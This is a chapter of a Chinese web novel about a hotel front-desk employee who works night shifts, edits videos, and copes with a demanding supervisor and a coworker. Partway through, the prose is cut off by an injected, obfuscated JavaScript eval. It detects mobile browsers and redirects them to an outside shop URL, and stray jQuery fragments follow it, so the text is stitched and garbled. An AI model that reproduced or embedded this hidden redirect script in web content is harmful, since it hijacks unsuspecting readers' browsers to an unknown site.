上午九点，林深走出酒店的时候，太阳已经升得很高。路边早餐摊冒着热气，上班族提着豆浆匆匆往地铁站赶。她站在酒店门口，看着来来往往的人群，忽然有种奇怪的感觉——别人一天刚开始，她一天已经结束了。
手机忽然响起来。夏禾。林深接起电话。
“喂。”
“下班了？”
“嗯。”
“我就知道。”
“你怎么知道？”
“因为正常人现在都在上班。”
林深笑了一下：“那我是什么？”
“鬼。”夏禾回答得毫不犹豫，“昼伏夜出的鬼。”
林深拉开出租车门。
“你打电话就为了骂我？”
“不是。”夏禾停顿一下，“我听说你疯了。”
“什么？”
“主动申请全夜班。”
林深靠在座椅里闭上眼：“哦。”
“哦什么哦？”夏禾声音都高了，“别人都想办法躲夜班，你主动往里钻？”
林深想了想：“因为ABOOAB太反人类。”
“有那么夸张？”
“有。”
出租车缓缓驶出酒店门口，林深看着窗外。“第一天早班，第二天夜班，第三天早上九点下班，第四天第五天休息，然后又回去上早班。上了几轮以后，我感觉自己快死了。”
夏禾在电话那头笑出了声：“所以你就申请全夜班？”
“嗯。”
“有病。”
“可能吧。”林深笑笑，“但至少规律，每天都晚上上班，每天都白天睡觉，生物钟不用来回折腾。”
夏禾沉默几秒：“然后还能剪视频？”
林深没说话。夏禾立刻懂了：“我就知道。”
“什么？”
“你根本不是为了夜班，你是为了视频。”
林深看着窗外，没承认也没否认。夏禾声音忽然轻下来：“或者说，你是为了让自己忙一点。”
出租车经过红绿灯，缓缓停下。林深望着外面，很久没说话。夏禾叹了口气：“行吧，反正你一直都这样。”
“什么样？”
“难受的时候就拼命找事情做。”
电话挂断的时候，出租车刚好停在小区门口。林深回到家，来福已经摇着尾巴冲了过来。她蹲下来抱了抱它，洗澡，换衣服，睡觉。窗帘拉上，整个世界变得安静。
再睁眼的时候已经下午五点半，天色开始发暗。手机里躺着十几条消息，工作群占了一半。林深点开，第一眼就看见Jessica：“328房入住单谁做的？”没人回复。过了一分钟：“我再问一遍。”还是没人说话。又过了一会儿：“班车还没开远吧？回来改。”整个群安静得像停电。最后一个刚入职没多久的小姑娘冒出来：“Jessica，是我……”接下来就是长达十几条的错误分析——入住单、押金单、签字栏、房型代码，每一条都标得清清楚楚。林深看完以后忽然有点庆幸，今天挨骂的不是自己。
晚上九点，夜班开始。Helen已经在前台了，看见林深进来第一句话就是：“全夜班勇士来了。”林深翻了个白眼：“你还没笑够？”“没有。”Helen把交班本递给她，“我至今无法理解为什么会有人主动申请全夜班。”“因为你不上。”“废话。”两个人笑了一会儿，开始交班。
入住高峰很快来了，客人一波接着一波，一直忙到十一点多大厅才逐渐安静下来。Helen去处理客诉，林深开始整理入住单。整理到一半，工作群忽然又亮起来。Jessica：“林深。”
看到自己名字的时候，林深心脏条件反射跳了一下。点开：“你昨天提成表漏签字。”林深立刻翻资料，果然漏了一处。“抱歉，我明天补。”消息刚发出去，Jessica秒回：“不是抱歉，是改。”林深回了一个省略号。旁边一个同事没忍住笑出声：“欢迎加入Jessica受害者联盟。”
凌晨一点，入住高峰结束，大厅重新安静下来。Helen开始教林深看夜审数据。这段时间她们配班越来越多——Helen上ABOOAB，林深上BBOOBB，其中一个B永远能碰见Helen，另一个B则是另外一个男大堂经理。关系不错，没Helen那么熟，但一直挺照顾她。尤其后来知道她在做视频，经常巡楼回来顺手帮她把电话接了，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709357|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
或者把投诉先处理掉，然后丢下一句“你剪你的”就走了。林深一直挺感谢他。
凌晨两点半，Helen在后面做报表，大厅彻底空下来。林深打开电脑开始剪视频。进度条一点点往前走——镜头，音乐，字幕。这是她一天里最安静的时候，没有客人，没有电话，没有人催，只有电脑屏幕发出的光，还有偶尔亮起又熄灭的手机。她习惯性看了一眼，没有消息。其实已经很多天了，她早就习惯了，只是有时候还是会下意识点开，然后失望，然后继续剪视频，如此循环。
凌晨四点，视频导出完成，后台开始上传。Helen端着咖啡走过来：“多少粉丝了？”林深报了个数字。Helen愣了一下：“这么多？”“还好。”“以后不会变网红吧？”“不会。”Helen笑着摇头：“你这人真奇怪。”“哪里奇怪？”“别人夜班偷懒，你夜班创业。”
林深被逗笑。就在这时，工作群又亮了一下——Jessica。整个前厅部都条件反射安静了。林深点开：“林深。”她头皮一麻，完了，又来了。结果下一秒，消息跳出来：“学得挺快。继续保持。”整个群瞬间安静。十秒，二十秒，没人说话。最后终于有人发出一个问号：“？”紧接着：“？？？”“？？？？？”
Helen直接笑出了声：“完了，你被Jessica看上了。”
林深低头看着手机，自己也笑了。她想起刚入职的时候，系统全英文，房态看不懂，账单看不懂，代码看不懂，天天被骂，天天出错。那时候她甚至怀疑过自己，是不是已经什么都学不会了。可原来不是，有些东西只是需要一点时间。
凌晨四点半，视频上传成功，数据开始缓慢增长。大厅外面天快亮了，城市正在醒来。林深看着屏幕，忽然觉得这一年其实很奇怪——白天睡觉，晚上上班，凌晨剪视频，偶尔等一个人，偶尔被Jessica骂，偶尔被Helen拽着学夜审。生活好像一直在重复，又好像一直在往前走。
手机安静地躺在旁边，没有亮。她看了一眼，然后收回目光，继续盯着视频后台。第一次没有再点开那个聊天框，因为她忽然发现，原来除了等一个人，自己还有很多事情可以做。